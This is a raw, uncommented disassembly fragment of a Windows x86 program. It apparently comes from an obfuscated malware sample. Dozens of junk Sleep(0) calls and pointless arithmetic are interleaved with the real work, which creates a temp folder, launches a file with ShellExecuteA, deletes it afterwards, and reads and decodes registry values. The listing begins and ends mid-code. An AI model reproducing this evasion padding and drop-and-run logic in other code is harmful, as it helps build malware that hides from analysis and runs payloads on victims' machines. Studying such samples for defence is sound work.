call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2537]
add ecx, 0x8f
mov byte [ebp - 0x2537], cl
mov byte [ebp - 0x2538], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2538]
add edx, 0x8f
mov byte [ebp - 0x2538], dl
mov byte [ebp - 0x2539], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2539]
add eax, 0x8f
mov byte [ebp - 0x2539], al
mov dword [ebp - 0x61c], 0
jmp 0x406814
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 3
jge 0x406851
push 0xf4240
push 0x7a120
push 1
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x604]
push eax
push 0
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40684f
jmp 0x406851
jmp 0x406805
mov byte [ebp - 0x253a], 0x6e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x253a]
add edx, 0x81
mov byte [ebp - 0x253a], dl
mov byte [ebp - 0x253b], 0x6e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x253b]
add eax, 0x81
mov byte [ebp - 0x253b], al
mov byte [ebp - 0x253c], 0x6e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x253c]
add ecx, 0x81
mov byte [ebp - 0x253c], cl
cmp dword [ebp - 0x61c], 3
jge 0x406ece
mov byte [ebp - 0x253d], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x253d]
add edx, 0xff
mov byte [ebp - 0x253d], dl
mov byte [ebp - 0x253e], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x253e]
add eax, 0xff
mov byte [ebp - 0x253e], al
mov byte [ebp - 0x253f], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x253f]
add ecx, 0xff
mov byte [ebp - 0x253f], cl
push 0x43553c
mov edx, dword [ebp - 0x604]
push edx
call fcn.00410f86
add esp, 8
mov dword [ebp - 0x22c4], eax
cmp dword [ebp - 0x22c4], 0
je 0x406e6b
push 0x104
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [ebp - 0x22c4]
push ecx
call fcn.00401a70
add esp, 0xc
lea edx, [ebp - 0x818]
push edx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
lea eax, [ebp - 0x2510]
push eax
call fcn.0040f840
add esp, 8
lea ecx, [ebp - 0x818]
push ecx
call fcn.0040f320
add esp, 4
mov esi, eax
lea edx, [ebp - 0x2510]
push edx
call fcn.0040f320
add esp, 4
sub esi, eax
mov byte [ebp + esi - 0x818], 0
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
mov ecx, dword [ebp - 0x22c4]
push ecx
call fcn.0040f320
add esp, 4
mov esi, eax
lea edx, [ebp - 0x2510]
push edx
call fcn.0040f320
add esp, 4
sub esi, eax
mov eax, dword [ebp - 0x22c4]
mov byte [eax + esi], 0
mov ecx, dword [ebp - 0x22c4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
call fcn.00410f64
push eax
call fcn.00410f64
push eax
call fcn.00410f64
push eax
push 0x435540
lea edx, [ebp - 0x2750]
push edx
call fcn.0041020b
add esp, 0x14
lea eax, [ebp - 0x2028]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x2750]
push ecx
lea edx, [ebp - 0x2028]
push edx
call fcn.0040f850
add esp, 8
lea eax, [ebp - 0x2028]
push eax
lea ecx, [ebp - 0x2648]
push ecx
call fcn.0040f840
add esp, 8
push 0
lea edx, [ebp - 0x2648]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x435548
lea eax, [ebp - 0x2028]
push eax
call fcn.0040f850
add esp, 8
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0x2028]
push edx
call fcn.0040f850
add esp, 8
fld qword [0x435e58]
fstp qword [ebp - 0x2758]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2758]
fadd qword [0x436090]
fstp qword [ebp - 0x2758]
fld qword [0x435e58]
fstp qword [ebp - 0x2760]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2760]
fadd qword [0x436090]
fstp qword [ebp - 0x2760]
fld qword [0x435e58]
fstp qword [ebp - 0x2768]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2768]
fadd qword [0x436090]
fstp qword [ebp - 0x2768]
fld qword [0x435e58]
fstp qword [ebp - 0x2770]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2770]
fadd qword [0x436090]
fstp qword [ebp - 0x2770]
fld qword [0x435e58]
fstp qword [ebp - 0x2778]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2778]
fadd qword [0x436090]
fstp qword [ebp - 0x2778]
fld qword [0x435e58]
fstp qword [ebp - 0x2780]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2780]
fadd qword [0x436090]
fstp qword [ebp - 0x2780]
fld qword [0x435e58]
fstp qword [ebp - 0x2788]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2788]
fadd qword [0x436090]
fstp qword [ebp - 0x2788]
mov dword [ebp - 0x61c], 0
jmp 0x406bb9
mov eax, dword [ebp - 0x61c]
add eax, 1
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 3
jge 0x406bf6
push 0xf4240
push 0x7a120
push 0
lea ecx, [ebp - 0x618]
push ecx
push 0
lea edx, [ebp - 0x2028]
push edx
mov eax, dword [ebp - 0x22c4]
push eax
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x406bf4
jmp 0x406bf6
jmp 0x406baa
cmp dword [ebp - 0x61c], 3
jge 0x406de4
fld dword [0x436088]
fstp dword [ebp - 0x278c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x278c]
fadd qword [0x436080]
fstp dword [ebp - 0x278c]
fld dword [0x436088]
fstp dword [ebp - 0x2790]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2790]
fadd qword [0x436080]
fstp dword [ebp - 0x2790]
fld dword [0x436088]
fstp dword [ebp - 0x2794]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2794]
fadd qword [0x436080]
fstp dword [ebp - 0x2794]
fld dword [0x436088]
fstp dword [ebp - 0x2798]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2798]
fadd qword [0x436080]
fstp dword [ebp - 0x2798]
fld dword [0x436088]
fstp dword [ebp - 0x279c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x279c]
fadd qword [0x436080]
fstp dword [ebp - 0x279c]
fld dword [0x436088]
fstp dword [ebp - 0x27a0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27a0]
fadd qword [0x436080]
fstp dword [ebp - 0x27a0]
fld dword [0x436088]
fstp dword [ebp - 0x27a4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27a4]
fadd qword [0x436080]
fstp dword [ebp - 0x27a4]
fld dword [0x436088]
fstp dword [ebp - 0x27a8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27a8]
fadd qword [0x436080]
fstp dword [ebp - 0x27a8]
lea ecx, [ebp - 0x2028]
push ecx
call fcn.0040f320
add esp, 4
test eax, eax
je 0x406de4
lea edx, [ebp - 0x1bf8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 5
lea eax, [ebp - 0x2648]
push eax
lea ecx, [ebp - 0x2510]
push ecx
lea edx, [ebp - 0x2028]
push edx
push 0x43554c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x27ac], 0
jmp 0x406d9b
mov eax, dword [ebp - 0x27ac]
add eax, 1
mov dword [ebp - 0x27ac], eax
cmp dword [ebp - 0x27ac], 0x78
jge 0x406de4
lea ecx, [ebp - 0x2648]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x406db7
jmp 0x406de4
lea edx, [ebp - 0x2028]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x2648]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
je 0x406dd7
jmp 0x406de4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406d8c
mov dword [ebp - 0x27b0], 0xa7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x27b0]
add ecx, 0x5a
mov dword [ebp - 0x27b0], ecx
push 0x435554
push 0
call fcn.00410f86
add esp, 8
mov dword [ebp - 0x22c4], eax
fld dword [0x435c88]
fstp dword [ebp - 0x27b4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27b4]
fadd qword [0x436100]
fstp dword [ebp - 0x27b4]
fld dword [0x435c88]
fstp dword [ebp - 0x27b8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27b8]
fadd qword [0x436100]
fstp dword [ebp - 0x27b8]
jmp 0x406942
mov dword [ebp - 0x27bc], 0xe7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x27bc]
add edx, 0x17
mov dword [ebp - 0x27bc], edx
mov dword [ebp - 0x27c0], 0xe7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x27c0]
add eax, 0x17
mov dword [ebp - 0x27c0], eax
mov dword [ebp - 0x27c4], 0xe7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x27c4]
add ecx, 0x17
mov dword [ebp - 0x27c4], ecx
mov byte [ebp - 0x27c5], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x27c5]
add edx, 0xb2
mov byte [ebp - 0x27c5], dl
mov byte [ebp - 0x27c6], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x27c6]
add eax, 0xb2
mov byte [ebp - 0x27c6], al
mov byte [ebp - 0x27c7], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x27c7]
add ecx, 0xb2
mov byte [ebp - 0x27c7], cl
mov byte [ebp - 0x27c8], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x27c8]
add edx, 0xb2
mov byte [ebp - 0x27c8], dl
mov byte [ebp - 0x27c9], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x27c9]
add eax, 0xb2
mov byte [ebp - 0x27c9], al
mov byte [ebp - 0x27ca], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x27ca]
add ecx, 0xb2
mov byte [ebp - 0x27ca], cl
mov byte [ebp - 0x27cb], 0x54
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x27cb]
add edx, 0xb2
mov byte [ebp - 0x27cb], dl
lea eax, [ebp - 0x70]
push eax
push 0x435558
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0041020b
add esp, 0xc
lea edx, [ebp - 0x2144]
push edx
lea eax, [ebp - 0x1bf8]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0
jne 0x407bd3
fld dword [0x436078]
fstp dword [ebp - 0x27d4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27d4]
fadd qword [0x436070]
fstp dword [ebp - 0x27d4]
fld dword [0x436078]
fstp dword [ebp - 0x27d8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27d8]
fadd qword [0x436070]
fstp dword [ebp - 0x27d8]
fld dword [0x436078]
fstp dword [ebp - 0x27dc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27dc]
fadd qword [0x436070]
fstp dword [ebp - 0x27dc]
fld dword [0x436078]
fstp dword [ebp - 0x27e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x27e0]
fadd qword [0x436070]
fstp dword [ebp - 0x27e0]
mov dword [ebp - 0x588], 0x104
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x818]
push edx
lea eax, [ebp - 0x584]
push eax
push 0
push 0x435564
mov ecx, dword [ebp - 0x2144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407bd3
mov byte [ebp - 0x27e5], 0xf1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x27e5]
add edx, 0x97
mov byte [ebp - 0x27e5], dl
mov byte [ebp - 0x27e6], 0xf1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x27e6]
add eax, 0x97
mov byte [ebp - 0x27e6], al
mov byte [ebp - 0x27e7], 0xf1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x27e7]
add ecx, 0x97
mov byte [ebp - 0x27e7], cl
mov byte [ebp - 0x27e8], 0xf1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x27e8]
add edx, 0x97
mov byte [ebp - 0x27e8], dl
mov byte [ebp - 0x27e9], 0xf1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x27e9]
add eax, 0x97
mov byte [ebp - 0x27e9], al
lea ecx, [ebp - 0x818]
push ecx
call fcn.0040f320
add esp, 4
shr eax, 1
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x27f0], 0x52
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x27f0]
add edx, 0xe7
mov dword [ebp - 0x27f0], edx
mov dword [ebp - 0x27f4], 0x52
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x27f4]
add eax, 0xe7
mov dword [ebp - 0x27f4], eax
mov dword [ebp - 0x27f8], 0x52
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x27f8]
add ecx, 0xe7
mov dword [ebp - 0x27f8], ecx
mov dword [ebp - 0x27fc], 0x52
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x27fc]
add edx, 0xe7
mov dword [ebp - 0x27fc], edx
mov dword [ebp - 0x2800], 0x52
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2800]
add eax, 0xe7
mov dword [ebp - 0x2800], eax
lea ecx, [ebp - 0x3f0]
push ecx
lea edx, [ebp - 0x818]
push edx
call fcn.00402c20
add esp, 8
mov dword [ebp - 0x2804], 0x68
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2804]
add eax, 0x3e
mov dword [ebp - 0x2804], eax
movzx ecx, byte [ebp - 0x2139]
push ecx
mov edx, dword [ebp - 0x618]
push edx
lea eax, [ebp - 0x3f0]
push eax
call fcn.00402fc0
add esp, 0xc
mov dword [ebp - 0x2808], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2808]
mov dword [ebp - 0x2808], ecx
mov dword [ebp - 0x280c], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x280c]
mov dword [ebp - 0x280c], edx
mov dword [ebp - 0x2810], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2810]
mov dword [ebp - 0x2810], eax
mov dword [ebp - 0x2814], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2814]
mov dword [ebp - 0x2814], ecx
mov dword [ebp - 0x2818], 0x1f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2818]
mov dword [ebp - 0x2818], edx
mov eax, dword [ebp - 0x618]
push eax
lea ecx, [ebp - 0x3f0]
push ecx
lea edx, [ebp - 0x818]
push edx
call fcn.004104b0
add esp, 0xc
mov eax, dword [ebp - 0x618]
mov byte [ebp + eax - 0x818], 0
mov ecx, dword [ebp - 0x2144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea edx, [ebp - 0x1bf8]
push edx
call fcn.00403a00
add esp, 8
fld qword [0x436068]
fstp qword [ebp - 0x2820]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2820]
fadd qword [0x435d30]
fstp qword [ebp - 0x2820]
fld qword [0x436068]
fstp qword [ebp - 0x2828]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2828]
fadd qword [0x435d30]
fstp qword [ebp - 0x2828]
fld qword [0x436068]
fstp qword [ebp - 0x2830]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2830]
fadd qword [0x435d30]
fstp qword [ebp - 0x2830]
fld qword [0x436068]
fstp qword [ebp - 0x2838]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2838]
fadd qword [0x435d30]
fstp qword [ebp - 0x2838]
fld qword [0x436068]
fstp qword [ebp - 0x2840]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2840]
fadd qword [0x435d30]
fstp qword [ebp - 0x2840]
fld qword [0x436068]
fstp qword [ebp - 0x2848]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2848]
fadd qword [0x435d30]
fstp qword [ebp - 0x2848]
fld qword [0x436068]
fstp qword [ebp - 0x2850]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2850]
fadd qword [0x435d30]
fstp qword [ebp - 0x2850]
fld qword [0x436068]
fstp qword [ebp - 0x2858]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2858]
fadd qword [0x435d30]
fstp qword [ebp - 0x2858]
push 0x435570
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0040f850
add esp, 8
mov dword [ebp - 0x285c], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x285c]
add ecx, 0x39
mov dword [ebp - 0x285c], ecx
mov dword [ebp - 0x2860], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2860]
add edx, 0x39
mov dword [ebp - 0x2860], edx
mov dword [ebp - 0x2864], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2864]
add eax, 0x39
mov dword [ebp - 0x2864], eax
mov dword [ebp - 0x2868], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2868]
add ecx, 0x39
mov dword [ebp - 0x2868], ecx
mov dword [ebp - 0x286c], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x286c]
add edx, 0x39
mov dword [ebp - 0x286c], edx
mov dword [ebp - 0x2870], 0xa2
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2870]
add eax, 0x39
mov dword [ebp - 0x2870], eax
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0040f850
add esp, 8
mov byte [ebp - 0x2871], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2871]
add eax, 0x22
mov byte [ebp - 0x2871], al
mov byte [ebp - 0x2872], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2872]
add ecx, 0x22
mov byte [ebp - 0x2872], cl
mov byte [ebp - 0x2873], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2873]
add edx, 0x22
mov byte [ebp - 0x2873], dl
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0040f840
add esp, 8
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0040f320
add esp, 4
mov dword [ebp - 0x618], eax
mov byte [ebp - 0x2874], 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2874]
add eax, 0xb6
mov byte [ebp - 0x2874], al
mov byte [ebp - 0x2875], 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2875]
add ecx, 0xb6
mov byte [ebp - 0x2875], cl
mov byte [ebp - 0x2876], 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2876]
add edx, 0xb6
mov byte [ebp - 0x2876], dl
mov byte [ebp - 0x2877], 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2877]
add eax, 0xb6
mov byte [ebp - 0x2877], al
movzx ecx, byte [ebp - 0x2139]
push ecx
mov edx, dword [ebp - 0x618]
push edx
lea eax, [ebp - 0x1bf8]
push eax
call fcn.00402fc0
add esp, 0xc
fld qword [0x4360d8]
fstp qword [ebp - 0x2880]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2880]
fadd qword [0x436060]
fstp qword [ebp - 0x2880]
fld qword [0x4360d8]
fstp qword [ebp - 0x2888]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2888]
fadd qword [0x436060]
fstp qword [ebp - 0x2888]
fld qword [0x4360d8]
fstp qword [ebp - 0x2890]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2890]
fadd qword [0x436060]
fstp qword [ebp - 0x2890]
fld qword [0x4360d8]
fstp qword [ebp - 0x2898]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2898]
fadd qword [0x436060]
fstp qword [ebp - 0x2898]
fld qword [0x4360d8]
fstp qword [ebp - 0x28a0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28a0]
fadd qword [0x436060]
fstp qword [ebp - 0x28a0]
fld qword [0x4360d8]
fstp qword [ebp - 0x28a8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28a8]
fadd qword [0x436060]
fstp qword [ebp - 0x28a8]
fld qword [0x4360d8]
fstp qword [ebp - 0x28b0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28b0]
fadd qword [0x436060]
fstp qword [ebp - 0x28b0]
fld qword [0x4360d8]
fstp qword [ebp - 0x28b8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28b8]
fadd qword [0x436060]
fstp qword [ebp - 0x28b8]
fld qword [0x4360d8]
fstp qword [ebp - 0x28c0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28c0]
fadd qword [0x436060]
fstp qword [ebp - 0x28c0]
lea ecx, [ebp - 0x688]
push ecx
mov edx, dword [ebp - 0x618]
push edx
lea eax, [ebp - 0x1bf8]
push eax
call fcn.00403080
add esp, 0xc
mov byte [ebp - 0x28c1], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x28c1]
add ecx, 0x7b
mov byte [ebp - 0x28c1], cl
mov byte [ebp - 0x28c2], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x28c2]
add edx, 0x7b
mov byte [ebp - 0x28c2], dl
mov byte [ebp - 0x28c3], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x28c3]
add eax, 0x7b
mov byte [ebp - 0x28c3], al
mov byte [ebp - 0x28c4], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x28c4]
add ecx, 0x7b
mov byte [ebp - 0x28c4], cl
mov byte [ebp - 0x28c5], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x28c5]
add edx, 0x7b
mov byte [ebp - 0x28c5], dl
mov byte [ebp - 0x28c6], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x28c6]
add eax, 0x7b
mov byte [ebp - 0x28c6], al
mov byte [ebp - 0x28c7], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x28c7]
add ecx, 0x7b
mov byte [ebp - 0x28c7], cl
mov byte [ebp - 0x28c8], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x28c8]
add edx, 0x7b
mov byte [ebp - 0x28c8], dl
mov byte [ebp - 0x28c9], 0xb3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x28c9]
add eax, 0x7b
mov byte [ebp - 0x28c9], al
push 0x4352ce
lea ecx, [ebp - 0x2028]
push ecx
call fcn.0040f840
add esp, 8
mov byte [ebp - 0x28ca], 0x38
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x28ca]
add edx, 0x3d
mov byte [ebp - 0x28ca], dl
lea eax, [ebp - 0x2144]
push eax
push 0x435574
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x588], 0x104
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x2028]
push edx
lea eax, [ebp - 0x584]
push eax
push 0
lea ecx, [ebp - 0x688]
push ecx
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
fld qword [0x436058]
fstp qword [ebp - 0x28d8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28d8]
fadd qword [0x435ce8]
fstp qword [ebp - 0x28d8]
fld qword [0x436058]
fstp qword [ebp - 0x28e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28e0]
fadd qword [0x435ce8]
fstp qword [ebp - 0x28e0]
fld qword [0x436058]
fstp qword [ebp - 0x28e8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28e8]
fadd qword [0x435ce8]
fstp qword [ebp - 0x28e8]
fld qword [0x436058]
fstp qword [ebp - 0x28f0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28f0]
fadd qword [0x435ce8]
fstp qword [ebp - 0x28f0]
fld qword [0x436058]
fstp qword [ebp - 0x28f8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x28f8]
fadd qword [0x435ce8]
fstp qword [ebp - 0x28f8]
fld qword [0x436058]
fstp qword [ebp - 0x2900]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2900]
fadd qword [0x435ce8]
fstp qword [ebp - 0x2900]
mov eax, dword [ebp - 0x2144]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x2904], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2904]
add ecx, 0x38
mov dword [ebp - 0x2904], ecx
mov dword [ebp - 0x2908], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2908]
add edx, 0x38
mov dword [ebp - 0x2908], edx
mov dword [ebp - 0x290c], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x290c]
add eax, 0x38
mov dword [ebp - 0x290c], eax
mov dword [ebp - 0x2910], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2910]
add ecx, 0x38
mov dword [ebp - 0x2910], ecx
mov dword [ebp - 0x2914], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2914]
add edx, 0x38
mov dword [ebp - 0x2914], edx
mov dword [ebp - 0x2918], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2918]
add eax, 0x38
mov dword [ebp - 0x2918], eax
mov dword [ebp - 0x291c], 0x36
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x291c]
add ecx, 0x38
mov dword [ebp - 0x291c], ecx
lea edx, [ebp - 0x2028]
push edx
call fcn.00402b60
add esp, 4
mov dword [ebp - 0x27e4], eax
cmp dword [ebp - 0x27e4], 0x2c00
